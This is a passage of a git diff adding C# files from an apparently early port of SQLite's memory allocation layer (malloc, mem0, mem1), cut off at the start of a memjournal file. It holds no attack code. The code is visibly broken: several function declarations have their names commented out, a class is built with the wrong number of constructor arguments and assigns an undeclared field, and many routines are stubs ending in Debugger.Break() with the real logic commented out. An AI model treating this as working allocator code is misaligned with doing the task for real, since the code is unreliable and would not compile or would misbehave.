sqlite3_soft_heap_limit( int n ) + { + long iLimit; + int overage; + if ( n < 0 ) + { + iLimit = 0; + } + else + { + iLimit = n; + } + sqlite3_initialize(); + if ( iLimit > 0 ) + { + sqlite3MemoryAlarm( (dxalarmCallback)softHeapLimitEnforcer, 0, iLimit ); + } + else + { + sqlite3MemoryAlarm( null, null, 0 ); + } + overage = (int)( sqlite3_memory_used() - n ); + if ( overage > 0 ) + { + sqlite3_release_memory( overage ); + } + } + + /* + ** Attempt to release up to n bytes of non-essential memory currently + ** held by SQLite. An example of non-essential memory is memory used to + ** cache database pages that are not currently in use. + */ + static int sqlite3_release_memory( int n ) + { +#if SQLITE_ENABLE_MEMORY_MANAGEMENT +int nRet = 0; +#if FALSE +nRet += sqlite3VdbeReleaseMemory(n); +#endif +nRet += sqlite3PcacheReleaseMemory(n-nRet); +return nRet; +#else + UNUSED_PARAMETER( n ); + return SQLITE_OK; +#endif + } + + /* + ** State information local to the memory allocation subsystem. + */ + public class Mem0Global + { + /* Number of free pages for scratch and page-cache memory */ + public int nScratchFree; + public int nPageFree; + + public sqlite3_mutex mutex; /* Mutex to serialize access */ + + /* + ** The alarm callback and its arguments. The mem0.mutex lock will + ** be held while the callback is running. Recursive calls into + ** the memory subsystem are allowed, but no new callbacks will be + ** issued. + */ + public sqlite3_int64 alarmThreshold; + public dxalarmCallback alarmCallback; // (*alarmCallback)(void*, sqlite3_int64,int); + public object alarmArg; + + /* + ** Pointers to the end of sqlite3GlobalConfig.pScratch and + ** sqlite3GlobalConfig.pPage to a block of memory that records + ** which pages are available. + */ + public int[] aScratchFree; + public int[] aPageFree; + + public Mem0Global() { } + + public Mem0Global( int nScratchFree, int nPageFree, sqlite3_mutex mutex, sqlite3_int64 alarmThreshold, dxalarmCallback alarmCallback, object alarmArg, int alarmBusy, int[] aScratchFree, int[] aPageFree ) + { + this.nScratchFree = nScratchFree; + this.nPageFree = nPageFree; + this.mutex = mutex; + this.alarmThreshold = alarmThreshold; + this.alarmCallback = alarmCallback; + this.alarmArg = alarmArg; + this.alarmBusy = alarmBusy; + this.aScratchFree = aScratchFree; + this.aPageFree = aPageFree; + } + } + static Mem0Global mem0 = new Mem0Global( 0, null, 0, null, null, 0, null, null ); + + //#define mem0 GLOBAL(struct Mem0Global, mem0) + + + /* + ** Initialize the memory allocation subsystem. + */ + static int sqlite3MallocInit() + { + if ( sqlite3GlobalConfig.m.xMalloc == null ) + { + sqlite3MemSetDefault(); + } + mem0 = new Mem0Global(); //memset(&mem0, 0, sizeof(mem0)); + if ( sqlite3GlobalConfig.bCoreMutex ) + { + mem0.mutex = sqlite3MutexAlloc( SQLITE_MUTEX_STATIC_MEM ); + } + if ( sqlite3GlobalConfig.pScratch != null && sqlite3GlobalConfig.szScratch >= 100 + && sqlite3GlobalConfig.nScratch >= 0 ) + { + Debugger.Break(); // TODO -- + + // int i; + // sqlite3GlobalConfig.szScratch = ROUNDDOWN8(sqlite3GlobalConfig.szScratch-4); + // mem0.aScratchFree = (u32*)&((char*) sqlite3GlobalConfig.pScratch) + // [ sqlite3GlobalConfig.szScratch* sqlite3GlobalConfig.nScratch]; + // for(i=0; i< sqlite3GlobalConfig.nScratch; i++){ mem0.aScratchFree[i] = i; } + // mem0.nScratchFree = sqlite3GlobalConfig.nScratch; + } + else + { + sqlite3GlobalConfig.pScratch = null; + sqlite3GlobalConfig.szScratch = 0; + } + if ( sqlite3GlobalConfig.pPage != null && sqlite3GlobalConfig.szPage >= 512 + && sqlite3GlobalConfig.nPage >= 1 ) + { + int i; + int overhead; + int sz = ROUNDDOWN8( sqlite3GlobalConfig.szPage ); + int n = sqlite3GlobalConfig.nPage; + overhead = ( 4 * n + sz - 1 ) / sz; + sqlite3GlobalConfig.nPage -= overhead; + mem0.aPageFree = new int[sqlite3GlobalConfig.szPage * sqlite3GlobalConfig.nPage]; + // mem0.aPageFree = (u32*)&((char*) sqlite3GlobalConfig.pPage) + // [ sqlite3GlobalConfig.szPage* sqlite3GlobalConfig.nPage]; + for ( i = 0 ; i < sqlite3GlobalConfig.nPage ; i++ ) { mem0.aPageFree[i] = i; } + mem0.nPageFree = sqlite3GlobalConfig.nPage; + } + else + { + sqlite3GlobalConfig.pPage = null; + sqlite3GlobalConfig.szPage = 0; + } + return sqlite3GlobalConfig.m.xInit( sqlite3GlobalConfig.m.pAppData ); + } + + /* + ** Deinitialize the memory allocation subsystem. + */ + static void sqlite3MallocEnd() + { + if ( sqlite3GlobalConfig.m.xShutdown != null ) + { + sqlite3GlobalConfig.m.xShutdown( sqlite3GlobalConfig.m.pAppData ); + mem0 = new Mem0Global();//memset(&mem0, 0, sizeof(mem0)); + } + } + /* + ** Return the amount of memory currently checked out. + */ + static sqlite3_int64 sqlite3_memory_used() + { + int n = 0, mx = 0; + sqlite3_int64 res; + sqlite3_status( SQLITE_STATUS_MEMORY_USED, ref n, ref mx, 0 ); + res = (sqlite3_int64)n; /* Work around bug in Borland C. Ticket #3216 */ + return res; + } + + /* + ** Return the maximum amount of memory that has ever been + ** checked out since either the beginning of this process + ** or since the most recent reset. + */ + static sqlite3_int64 sqlite3_memory_highwater( int resetFlag ) + { + int n = 0, mx = 0; + sqlite3_int64 res; + sqlite3_status( SQLITE_STATUS_MEMORY_USED, ref n, ref mx, 0 ); + res = (sqlite3_int64)mx; /* Work around bug in Borland C. Ticket #3216 */ + return res; + } + + /* + ** Change the alarm callback + */ + static int sqlite3MemoryAlarm( + dxalarmCallback xCallback, //void(*xCallback)(void pArg, sqlite3_int64 used,int N), + object pArg, + sqlite3_int64 iThreshold + ) + { + sqlite3_mutex_enter( mem0.mutex ); + mem0.alarmCallback = xCallback; + mem0.alarmArg = pArg; + mem0.alarmThreshold = iThreshold; + sqlite3_mutex_leave( mem0.mutex ); + return SQLITE_OK; + } + +#if !SQLITE_OMIT_DEPRECATED + /* +** Deprecated external interface. Internal/core SQLite code +** should call sqlite3MemoryAlarm. +*/ + static int sqlite3_memory_alarm( + dxalarmCallback xCallback, //void(*xCallback)(void *pArg, sqlite3_int64 used,int N), + object pArg, + sqlite3_int64 iThreshold + ) + { + return sqlite3MemoryAlarm( xCallback, pArg, iThreshold ); + } +#endif + + + /* +** Trigger the alarm +*/ + static void sqlite3MallocAlarm( int nByte ) + { + Debugger.Break(); // TODO -- + //dxCallback xCallback; //void (*xCallback)(void*,sqlite3_int64,int); + //sqlite3_int64 nowUsed; + //object pArg; + //if( mem0.alarmCallback==0 ) return; + //xCallback = mem0.alarmCallback; + //nowUsed = sqlite3StatusValue(SQLITE_STATUS_MEMORY_USED); + //pArg = mem0.alarmArg; + //mem0.alarmCallback = null; + //sqlite3_mutex_leave(mem0.mutex); + //xCallback(pArg, nowUsed, nByte); + //sqlite3_mutex_enter(mem0.mutex); + //mem0.alarmCallback = xCallback; + //mem0.alarmArg = pArg; + } + + /* + ** Do a memory allocation with statistics and alarms. Assume the + ** lock is already held. + */ + static int mallocWithAlarm( int n, ref byte[] pp ) + { + int nFull; + byte[] p; + Debug.Assert( sqlite3_mutex_held( mem0.mutex ) ); + nFull = sqlite3GlobalConfig.m.xRoundup( n ); + sqlite3StatusSet( SQLITE_STATUS_MALLOC_SIZE, n ); + if ( mem0.alarmCallback != null ) + { + int nUsed = sqlite3StatusValue( SQLITE_STATUS_MEMORY_USED ); + if ( nUsed + nFull >= mem0.alarmThreshold ) + { + sqlite3MallocAlarm( nFull ); + } + } + p = sqlite3GlobalConfig.m.xMalloc( nFull ); + if ( p == null && mem0.alarmCallback != null ) + { + sqlite3MallocAlarm( nFull ); + p = sqlite3GlobalConfig.m.xMalloc( nFull ); + } + if ( p != null ) + { + nFull = sqlite3MallocSize( p ); + sqlite3StatusAdd( SQLITE_STATUS_MEMORY_USED, nFull ); + } + pp = p; + return nFull; + } + + /* + ** Allocate memory. This routine is like sqlite3_malloc() except that it + ** assumes the memory subsystem has already been initialized. + */ + static byte[] sqlite3Malloc( int n ) + { + byte[] p = null; + if ( n <= 0 || n >= 0x7fffff00 ) + { + /* A memory allocation of a number of bytes which is near the maximum + ** signed integer value might cause an integer overflow inside of the + ** xMalloc(). Hence we limit the maximum size to 0x7fffff00, giving + ** 255 bytes of overhead. SQLite itself will never use anything near + ** this amount. The only way to reach the limit is with sqlite3_malloc() */ + p = null; + } + else if ( sqlite3GlobalConfig.bMemstat ) + { + sqlite3_mutex_enter( mem0.mutex ); + mallocWithAlarm( n, ref p ); + sqlite3_mutex_leave( mem0.mutex ); + } + else + { + p = sqlite3GlobalConfig.m.xMalloc( n ); + } + return p; + } + + /* + ** This version of the memory allocation is for use by the application. + ** First make sure the memory subsystem is initialized, then do the + ** allocation. + */ + static byte[] sqlite3_malloc( int n ) + { +#if !SQLITE_OMIT_AUTOINIT + if ( sqlite3_initialize() != 0 ) return null; +#endif + return sqlite3Malloc( n ); + } + + /* + ** Each thread may only have a single outstanding allocation from + ** xScratchMalloc(). We verify this constraint in the single-threaded + ** case by setting scratchAllocOut to 1 when an allocation + ** is outstanding clearing it when the allocation is freed. + */ +#if !SQLITE_THREADSAFE && !NDEBUG + static int scratchAllocOut = 0; +#endif + + + /* +** Allocate memory that is to be used and released right away. +** This routine is similar to alloca() in that it is not intended +** for situations where the memory might be held long-term. This +** routine is intended to get memory to old large transient data +** structures that would not normally fit on the stack of an +** embedded processor. +*/ + byte[] sqlite3ScratchMalloc( int n ) + { + byte[] p = null; + Debug.Assert( n > 0 ); + +#if !SQLITE_THREADSAFE && !NDEBUG + /* Verify that no more than one scratch allocation per thread +** is outstanding at one time. (This is only checked in the +** single-threaded case since checking in the multi-threaded case +** would be much more complicated.) */ + Debug.Assert( scratchAllocOut == 0 ); +#endif + + if ( sqlite3GlobalConfig.szScratch < n ) + { + goto scratch_overflow; + } + else + { + sqlite3_mutex_enter( mem0.mutex ); + if ( mem0.nScratchFree == 0 ) + { + sqlite3_mutex_leave( mem0.mutex ); + goto scratch_overflow; + } + else + { + Debugger.Break(); // TODO -- + //int i; + //i = mem0.aScratchFree[--mem0.nScratchFree]; + //i *= sqlite3GlobalConfig.szScratch; + //sqlite3StatusAdd(SQLITE_STATUS_SCRATCH_USED, 1); + //sqlite3StatusSet(SQLITE_STATUS_SCRATCH_SIZE, n); + //sqlite3_mutex_leave(mem0.mutex); + //p = (void*)&((char*) sqlite3GlobalConfig.pScratch)[i]; + //assert( (((u8*)p - (u8*)0) & 7)==0 ); + } + } +#if !SQLITE_THREADSAFE && !NDEBUG + scratchAllocOut = p != null ? 1 : 0; +#endif + + return p; + +scratch_overflow: + if ( sqlite3GlobalConfig.bMemstat ) + { + sqlite3_mutex_enter( mem0.mutex ); + sqlite3StatusSet( SQLITE_STATUS_SCRATCH_SIZE, n ); + n = mallocWithAlarm( n, ref p ); + if ( p != null ) sqlite3StatusAdd( SQLITE_STATUS_SCRATCH_OVERFLOW, n ); + sqlite3_mutex_leave( mem0.mutex ); + } + else + { + p = sqlite3GlobalConfig.m.xMalloc( n ); + } +#if !SQLITE_THREADSAFE && !NDEBUG + scratchAllocOut = ( p != null ) ? 1 : 0; +#endif + return p; + } + static void //sqlite3ScratchFree( ref byte[][] p ) { p = null; } + static void //sqlite3ScratchFree( ref byte[] p ) + { + if ( p != null ) + { + +#if !SQLITE_THREADSAFE && !NDEBUG + /* Verify that no more than one scratch allocation per thread +** is outstanding at one time. (This is only checked in the +** single-threaded case since checking in the multi-threaded case +** would be much more complicated.) */ + Debug.Assert( scratchAllocOut == 1 ); + scratchAllocOut = 0; +#endif + Debugger.Break(); // TODO -- + //if( sqlite3GlobalConfig.pScratch==null + // || p< sqlite3GlobalConfig.pScratch + // || p>=(void*)mem0.aScratchFree ){ + // if( sqlite3GlobalConfig.bMemstat ){ + // int iSize = sqlite3MallocSize(p); + // sqlite3_mutex_enter(mem0.mutex); + // sqlite3StatusAdd(SQLITE_STATUS_SCRATCH_OVERFLOW, -iSize); + // sqlite3StatusAdd(SQLITE_STATUS_MEMORY_USED, -iSize); + // sqlite3GlobalConfig.m.xFree(p); + // sqlite3_mutex_leave(mem0.mutex); + // }else{ + // sqlite3GlobalConfig.m.xFree(p); + // } + //}else{ + // int i; + // i = (int)((u8*)p - (u8*)sqlite3GlobalConfig.pScratch); + // i /= sqlite3GlobalConfig.szScratch; + // Debug.Assert(i>=0 && i< sqlite3GlobalConfig.nScratch ); + // sqlite3_mutex_enter(mem0.mutex); + // Debug.Assert(mem0.nScratchFree< (u32)sqlite3GlobalConfig.nScratch ); + // mem0.aScratchFree[mem0.nScratchFree++] = i; + // sqlite3StatusAdd(SQLITE_STATUS_SCRATCH_USED, -1); + // sqlite3_mutex_leave(mem0.mutex); + //} + } + } + + /* + ** TRUE if p is a lookaside memory allocation from db + */ +#if !SQLITE_OMIT_LOOKASIDE +static bool isLookaside( sqlite3 db, object p ) +{ +return db != null && p >= db.lookaside.pStart && p < db.lookaside.pEnd; +} +#else + //#define isLookaside(A,B) 0 + static bool isLookaside( sqlite3 db, object p ) + { + return false; + } +#endif + + /* +** Return the size of a memory allocation previously obtained from +** sqlite3Malloc() or sqlite3_malloc(). +*/ + static int sqlite3MallocSize( byte[] p ) + { + return sqlite3GlobalConfig.m.xSize( p ); + } + + int sqlite3DbMallocSize( sqlite3 db, byte[] p ) + { + Debug.Assert( db == null || sqlite3_mutex_held( db.mutex ) ); + if ( isLookaside( db, p ) ) + { + return db.lookaside.sz; + } + else + { + return sqlite3GlobalConfig.m.xSize( p ); + } + } + + /* + ** Free memory previously obtained from sqlite3Malloc(). + */ + // -- overloads --------------------------------------- + static void //sqlite3_free( ref string x ) + { x = null; } + + static void //sqlite3_free( ref T x ) where T : class + { x = null; } + + static void //sqlite3_free( ref byte[] p ) + { + if ( p == null ) return; + if ( sqlite3GlobalConfig.bMemstat ) + { + sqlite3_mutex_enter( mem0.mutex ); + sqlite3StatusAdd( SQLITE_STATUS_MEMORY_USED, -sqlite3MallocSize( p ) ); + sqlite3GlobalConfig.m.xFree( ref p ); + sqlite3_mutex_leave( mem0.mutex ); + } + else + { + Debugger.Break(); // TODO -- sqlite3GlobalConfig.m.xFree(p); + } + } + /* + ** Free memory that might be associated with a particular database + ** connection. + */ + // -- overloads --------------------------------------- + static void //sqlite3DbFree( sqlite3 db, ref string x ) + { + Debug.Assert( db == null || sqlite3_mutex_held( db.mutex ) ); + x = null; + } + static void //sqlite3DbFree( sqlite3 db, ref byte[] x ) + { + Debug.Assert( db == null || sqlite3_mutex_held( db.mutex ) ); + x = null; + } + static void //sqlite3DbFree( sqlite3 db, ref int[] x ) + { + Debug.Assert( db == null || sqlite3_mutex_held( db.mutex ) ); + x = null; + } + static void //sqlite3DbFree( sqlite3 db, ref StringBuilder x ) + { + Debug.Assert( db == null || sqlite3_mutex_held( db.mutex ) ); + x = null; + } + static void //sqlite3DbFree( sqlite3 db, ref T p ) where T : class + { + Debug.Assert( db == null || sqlite3_mutex_held( db.mutex ) ); + p = null; + } + static void //sqlite3DbFree( sqlite3 db, object p ) + { + Debug.Assert( db == null || sqlite3_mutex_held( db.mutex ) ); + if ( isLookaside( db, p ) ) + { + LookasideSlot pBuf = (LookasideSlot)p; + pBuf.pNext = db.lookaside.pFree; + db.lookaside.pFree = pBuf; + db.lookaside.nOut--; + } + else + { + //sqlite3_free( ref p ); + } + } + + /* + ** Change the size of an existing memory allocation + */ + static byte[] sqlite3Realloc( byte[] pOld, int nBytes ) + { + int nOld, nNew; + byte[] pNew = null; + if ( pOld == null ) + { + return sqlite3Malloc( nBytes ); + } + if ( nBytes <= 0 ) + { + //sqlite3_free( ref pOld ); + return null; + } + if ( nBytes >= 0x7fffff00 ) + { + /* The 0x7ffff00 limit term is explained in comments on sqlite3Malloc() */ + return null; + } + nOld = sqlite3MallocSize( pOld ); + if ( sqlite3GlobalConfig.bMemstat ) + { + sqlite3_mutex_enter( mem0.mutex ); + sqlite3StatusSet( SQLITE_STATUS_MALLOC_SIZE, nBytes ); + nNew = sqlite3GlobalConfig.m.xRoundup( nBytes ); + if ( nOld == nNew ) + { + pNew = pOld; + } + else + { + if ( sqlite3StatusValue( SQLITE_STATUS_MEMORY_USED ) + nNew - nOld >= + mem0.alarmThreshold ) + { + sqlite3MallocAlarm( nNew - nOld ); + } + Debugger.Break(); // TODO -- + //pNew = sqlite3GlobalConfig.m.xRealloc(pOld, nNew); + //if( pNew==0 && mem0.alarmCallback ){ + // sqlite3MallocAlarm(nBytes); + // pNew = sqlite3GlobalConfig.m.xRealloc(pOld, nNew); + //} + if ( pNew != null ) + { + nNew = sqlite3MallocSize( pNew ); + sqlite3StatusAdd( SQLITE_STATUS_MEMORY_USED, nNew - nOld ); + } + } + sqlite3_mutex_leave( mem0.mutex ); + } + else + { + Debugger.Break(); // TODO --pNew = sqlite3GlobalConfig.m.xRealloc(ref pOld, nBytes); + } + return pNew; + } + + /* + ** The public interface to sqlite3Realloc. Make sure that the memory + ** subsystem is initialized prior to invoking sqliteRealloc. + */ + static byte[] sqlite3_realloc( object pOld, int n ) + { +#if !SQLITE_OMIT_AUTOINIT + if ( sqlite3_initialize() != 0 ) return null; +#endif + return sqlite3Realloc( (byte[])pOld, n ); + } + + + /* + ** Allocate and zero memory. + */ + static byte[] sqlite3MallocZero( int n ) + { + byte[] p = sqlite3Malloc( n ); + if ( p != null ) + { + //memset(p, 0, n); + } + return p; + } + + /* + ** Allocate and zero memory. If the allocation fails, make + ** the mallocFailed flag in the connection pointer. + */ + static byte[] sqlite3DbMallocZero( sqlite3 db, int n ) + { + byte[] p = sqlite3DbMallocRaw( db, n ); + if ( p != null ) + { + // memset(p, 0, n); + } + return p; + } + + /* + ** Allocate and zero memory. If the allocation fails, make + ** the mallocFailed flag in the connection pointer. + ** + ** If db!=0 and db->mallocFailed is true (indicating a prior malloc + ** failure on the same database connection) then always return 0. + ** Hence for a particular database connection, once malloc starts + ** failing, it fails consistently until mallocFailed is reset. + ** This is an important assumption. There are many places in the + ** code that do things like this: + ** + ** int *a = (int*)sqlite3DbMallocRaw(db, 100); + ** int *b = (int*)sqlite3DbMallocRaw(db, 200); + ** if( b ) a[10] = 9; + ** + ** In other words, if a subsequent malloc (ex: "b") worked, it is assumed + ** that all prior mallocs (ex: "a") worked too. + */ + static byte[] sqlite3DbMallocRaw( sqlite3 db, int n ) + { + byte[] p; + Debug.Assert( db == null || sqlite3_mutex_held( db.mutex ) ); +#if !SQLITE_OMIT_LOOKASIDE +if( db ){ +LookasideSlot pBuf; +if( db.mallocFailed !=0{ +return 0; +} +if( db.lookaside.bEnabled && n<=db.lookaside.sz +&& (pBuf = db.lookaside.pFree)!=0 ){ +db.lookaside.pFree = pBuf.pNext; +db.lookaside.nOut++; +if( db.lookaside.nOut>db.lookaside.mxOut ){ +db.lookaside.mxOut = db.lookaside.nOut; +} +return (void*)pBuf; +} +} +#else + if ( db != null && db.mallocFailed != 0 ) + { + return null; + } +#endif + p = sqlite3Malloc( n ); + if ( null == p && db != null ) + { +//// db.mallocFailed = 1; + } + return p; + } + + /* + ** Resize the block of memory pointed to by p to n bytes. If the + ** resize fails, set the mallocFailed flag inthe connection object. + */ + static object sqlite3DbRealloc( sqlite3 db, object p, int n ) + { + return p; + // void pNew = 0; + //assert( db!=0 ); + //assert( sqlite3_mutex_held(db->mutex) ); + // if( db.mallocFailed==0 ){ + // if( p==0 ){ + // return sqlite3DbMallocRaw(db, n); + // } + // if( isLookaside(db, p) ){ + // if( n<=db.lookaside.sz ){ + // return p; + // } + // pNew = sqlite3DbMallocRaw(db, n); + // if( pNew ){ + // memcpy(pNew, p, db.lookaside.sz); + // //sqlite3DbFree(db, p); + // } + // }else{ + // pNew = sqlite3_realloc(p, n); + // if( null==pNew ){ + ////// db.mallocFailed = 1; + // } + // } + // } + // return pNew; + } + + /* + ** Attempt to reallocate p. If the reallocation fails, then free p + ** and set the mallocFailed flag in the database connection. + */ + //static void sqlite3DbReallocOrFree(sqlite3 db, object p, int n){ + // object pNew; + // pNew = "";//sqlite3DbRealloc(db, p, n); + // if( pNew ==null){ + // //sqlite3DbFree(db,ref p); + // } + // return pNew; + // } + + /* + ** Make a copy of a string in memory obtained from sqliteMalloc(). These + ** functions call sqlite3MallocRaw() directly instead of sqliteMalloc(). This + ** is because when memory debugging is turned on, these two functions are + ** called via macros that record the current file and line number in the + ** ThreadData structure. + */ + //char *sqlite3DbStrDup(sqlite3 db, const char *z){ + // char *zNew; + // size_t n; + // if( z==0 ){ + // return 0; + // } + // n = sqlite3Strlen30(z) + 1; + // assert( (n&0x7fffffff)==n ); + // zNew = sqlite3DbMallocRaw(db, (int)n); + // if( zNew ){ + // memcpy(zNew, z, n); + // } + // return zNew; + //} + //char *sqlite3DbStrNDup(sqlite3 *db, const char *z, int n){ + // char *zNew; + // if( z==0 ){ + // return 0; + // } + // assert( (n&0x7fffffff)==n ); + // zNew = sqlite3DbMallocRaw(db, n+1); + // if( zNew ){ + // memcpy(zNew, z, n); + // zNew[n] = 0; + // } + // return zNew; + //} + +#endif + /* + ** Create a string from the zFromat argument and the va_list that follows. + ** Store the string in memory obtained from sqliteMalloc() and make pz + ** point to that string. + */ + static void sqlite3SetString( ref byte[] pz, sqlite3 db, string zFormat, params string[] ap ) + { + string sz = ""; + sqlite3SetString( ref sz, db, zFormat, ap ); + pz = Encoding.UTF8.GetBytes( sz ); + } + static void sqlite3SetString( ref string pz, sqlite3 db, string zFormat, byte[] ap ) + { sqlite3SetString( ref pz, db, zFormat, Encoding.UTF8.GetString( ap ) ); } + + static void sqlite3SetString( ref string pz, sqlite3 db, string zFormat, params string[] ap ) + { + //va_list ap; + string z; + + va_start( ap, zFormat ); + z = sqlite3VMPrintf( db, zFormat, ap ); + va_end( ap ); + //sqlite3DbFree( db, ref pz ); + pz = z; + } + + /* + ** This function must be called before exiting any API function (i.e. + ** returning control to the user) that has called sqlite3_malloc or + ** sqlite3_realloc. + ** + ** The returned value is normally a copy of the second argument to this + ** function. However, if a malloc() failure has occurred since the previous + ** invocation SQLITE_NOMEM is returned instead. + ** + ** If the first argument, db, is not NULL and a malloc() error has occurred, + ** then the connection error-code (the value returned by sqlite3_errcode()) + ** is set to SQLITE_NOMEM. + */ + static int sqlite3ApiExit( int zero, int rc ) + { + sqlite3 db = null; + return sqlite3ApiExit( db, rc ); + } + + static int sqlite3ApiExit( sqlite3 db, int rc ) + { + /* If the db handle is not NULL, then we must hold the connection handle + ** mutex here. Otherwise the read (and possible write) of db.mallocFailed + ** is unsafe, as is the call to sqlite3Error(). + */ + Debug.Assert( db == null || sqlite3_mutex_held( db.mutex ) ); + if ( /*db != null && db.mallocFailed != 0 || */ rc == SQLITE_IOERR_NOMEM ) + { + sqlite3Error( db, SQLITE_NOMEM, "" ); + //db.mallocFailed = 0; + rc = SQLITE_NOMEM; + } + return rc & ( db != null ? db.errMask : 0xff ); + } + } +} diff --git a/SQLite/src/mem0_c.cs b/SQLite/src/mem0_c.cs new file mode 100644 index 0000000..5984080 --- /dev/null +++ b/SQLite/src/mem0_c.cs @@ -0,0 +1,81 @@ +using System; +using System.Diagnostics; +using System.Runtime.InteropServices; + +using sqlite3_int64 = System.Int64; +using System.Text; + +namespace CS_SQLite3 +{ + public partial class CSSQLite + { + /* + ** 2008 October 28 + ** + ** The author disclaims copyright to this source code. In place of + ** a legal notice, here is a blessing: + ** + ** May you do good and not evil. + ** May you find forgiveness for yourself and forgive others. + ** May you share freely, never taking more than you give. + ** + ************************************************************************* + ** + ** This file contains a no-op memory allocation drivers for use when + ** SQLITE_ZERO_MALLOC is defined. The allocation drivers implemented + ** here always fail. SQLite will not operate with these drivers. These + ** are merely placeholders. Real drivers must be substituted using + ** sqlite3_config() before SQLite will operate. + ** + ** $Id: mem0.c,v 1.1 2008/10/28 18:58:20 drh Exp $ + ** + ************************************************************************* + ** Included in SQLite3 port to C#-SQLite; 2008 Noah B Hart + ** C#-SQLite is an independent reimplementation of the SQLite software library + ** + ** $Header$ + ************************************************************************* + */ + //#include "sqliteInt.h" + + /* + ** This version of the memory allocator is the default. It is + ** used when no other memory allocator is specified using compile-time + ** macros. + */ +#if SQLITE_ZERO_MALLOC + +/* +** No-op versions of all memory allocation routines +*/ +static void sqlite3MemMalloc(int nByte){ return 0; } +static void sqlite3MemFree(object pPrior){ return; } +static void sqlite3MemRealloc(object pPrior, int nByte){ return 0; } +static int sqlite3MemSize(object pPrior){ return 0; } +static int sqlite3MemRoundup(int n){ return n; } +static int sqlite3MemInit(object NotUsed){ return SQLITE_OK; } +static void sqlite3MemShutdown(object NotUsed){ return; } + +/* +** This routine is the only routine in this file with external linkage. +** +** Populate the low-level memory allocation function pointers in +** sqlite3GlobalConfig.m with pointers to the routines in this file. +*/ +void sqlite3MemSetDefault(){ +static const sqlite3_mem_methods defaultMethods = { +sqlite3MemMalloc, +sqlite3MemFree, +sqlite3MemRealloc, +sqlite3MemSize, +sqlite3MemRoundup, +sqlite3MemInit, +sqlite3MemShutdown, +0 +}; +sqlite3_config(SQLITE_CONFIG_MALLOC, &defaultMethods); +} + +#endif //* SQLITE_ZERO_MALLOC */ + } +} diff --git a/SQLite/src/mem1_c.cs b/SQLite/src/mem1_c.cs new file mode 100644 index 0000000..0baeaa4 --- /dev/null +++ b/SQLite/src/mem1_c.cs @@ -0,0 +1,184 @@ +using System; +using System.Diagnostics; +using System.Runtime.InteropServices; + +using sqlite3_int64 = System.Int64; +using System.Text; + +namespace CS_SQLite3 +{ + public partial class CSSQLite + { + /* + ** 2007 August 14 + ** + ** The author disclaims copyright to this source code. In place of + ** a legal notice, here is a blessing: + ** + ** May you do good and not evil. + ** May you find forgiveness for yourself and forgive others. + ** May you share freely, never taking more than you give. + ** + ************************************************************************* + ** + ** This file contains low-level memory allocation drivers for when + ** SQLite will use the standard C-library malloc/realloc/free interface + ** to obtain the memory it needs. + ** + ** This file contains implementations of the low-level memory allocation + ** routines specified in the sqlite3_mem_methods object. + ** + ** $Id: mem1.c,v 1.30 2009/03/23 04:33:33 danielk1977 Exp $ + ** + ************************************************************************* + ** Included in SQLite3 port to C#-SQLite; 2008 Noah B Hart + ** C#-SQLite is an independent reimplementation of the SQLite software library + ** + ** $Header$ + ************************************************************************* + */ + //#include "sqliteInt.h" + + /* + ** This version of the memory allocator is the default. It is + ** used when no other memory allocator is specified using compile-time + ** macros. + */ +#if SQLITE_SYSTEM_MALLOC + + /* +** Like malloc(), but remember the size of the allocation +** so that we can find it later using sqlite3MemSize(). +** +** For this low-level routine, we are guaranteed that nByte>0 because +** cases of nByte<=0 will be intercepted and dealt with by higher level +** routines. +*/ + static byte[] sqlite3MemMalloc( int nByte ) + { + //sqlite3_int64 p; + //Debug.Assert(nByte > 0 ); + //nByte = ROUND8(nByte); + //p = malloc( nByte + 8 ); + //if ( p ) + //{ + // p[0] = nByte; + // p++; + //} + //return (void*)p; + return new byte[nByte]; + } + /* + ** Free memory. + */ + // -- overloads --------------------------------------- + static void sqlite3MemFree( ref T x ) where T : class + { x = null; } + static void sqlite3MemFree( ref string x ) { x = null; } + // + + /* + ** Like free() but works for allocations obtained from sqlite3MemMalloc() + ** or sqlite3MemRealloc(). + ** + ** For this low-level routine, we already know that pPrior!=0 since + ** cases where pPrior==0 will have been intecepted and dealt with + ** by higher-level routines. + */ + //static void sqlite3MemFree(void pPrior){ + // sqlite3_int64 p = (sqlite3_int64*)pPrior; + // Debug.Assert(pPrior!=0 ); + // p--; + // free(p); + //} + + /* + ** Like realloc(). Resize an allocation previously obtained from + ** sqlite3MemMalloc(). + ** + ** For this low-level interface, we know that pPrior!=0. Cases where + ** pPrior==0 while have been intercepted by higher-level routine and + ** redirected to xMalloc. Similarly, we know that nByte>0 becauses + ** cases where nByte<=0 will have been intercepted by higher-level + ** routines and redirected to xFree. + */ + static byte[] sqlite3MemRealloc( ref byte[] pPrior, int nByte ) + { + // sqlite3_int64 p = (sqlite3_int64*)pPrior; + // Debug.Assert(pPrior!=0 && nByte>0 ); + // nByte = ROUND8( nByte ); + // p = (sqlite3_int64*)pPrior; + // p--; + // p = realloc(p, nByte+8 ); + // if( p ){ + // p[0] = nByte; + // p++; + // } + // return (void*)p; + Array.Resize( ref pPrior, nByte ); + return pPrior; + } + + /* + ** Report the allocated size of a prior return from xMalloc() + ** or xRealloc(). + */ + static int sqlite3MemSize( byte[] pPrior ) + { + // sqlite3_int64 p; + // if( pPrior==0 ) return 0; + // p = (sqlite3_int64*)pPrior; + // p--; + // return p[0]; + return (int)pPrior.Length; + } + + /* + ** Round up a request size to the next valid allocation size. + */ + static int sqlite3MemRoundup( int n ) + { + return ROUND8( n ); + } + + /* + ** Initialize this module. + */ + static int sqlite3MemInit( object NotUsed ) + { + UNUSED_PARAMETER( NotUsed ); + return SQLITE_OK; + } + + /* + ** Deinitialize this module. + */ + static void sqlite3MemShutdown( object NotUsed ) + { + UNUSED_PARAMETER( NotUsed ); + return; + } + + /* + ** This routine is the only routine in this file with external linkage. + ** + ** Populate the low-level memory allocation function pointers in + ** sqlite3GlobalConfig.m with pointers to the routines in this file. + */ + static void sqlite3MemSetDefault() + { + sqlite3_mem_methods defaultMethods = new sqlite3_mem_methods( + sqlite3MemMalloc, + sqlite3MemFree, + sqlite3MemRealloc, + sqlite3MemSize, + sqlite3MemRoundup, + (dxMemInit)sqlite3MemInit, + (dxMemShutdown)sqlite3MemShutdown, + 0 + ); + sqlite3_config( SQLITE_CONFIG_MALLOC, defaultMethods ); + } +#endif //* SQLITE_SYSTEM_MALLOC */ + } +} diff --git a/SQLite/src/memjournal_c.cs b/SQLite/src/memjournal_c.cs new file mode 100644 index 0000000..fd14a0c --- /dev/null +++ b/SQLite/src/memjournal_c.cs @@ -0,0 +1,316 @@ +using System; +using System.Diagnostics; +using System.Text; + +using 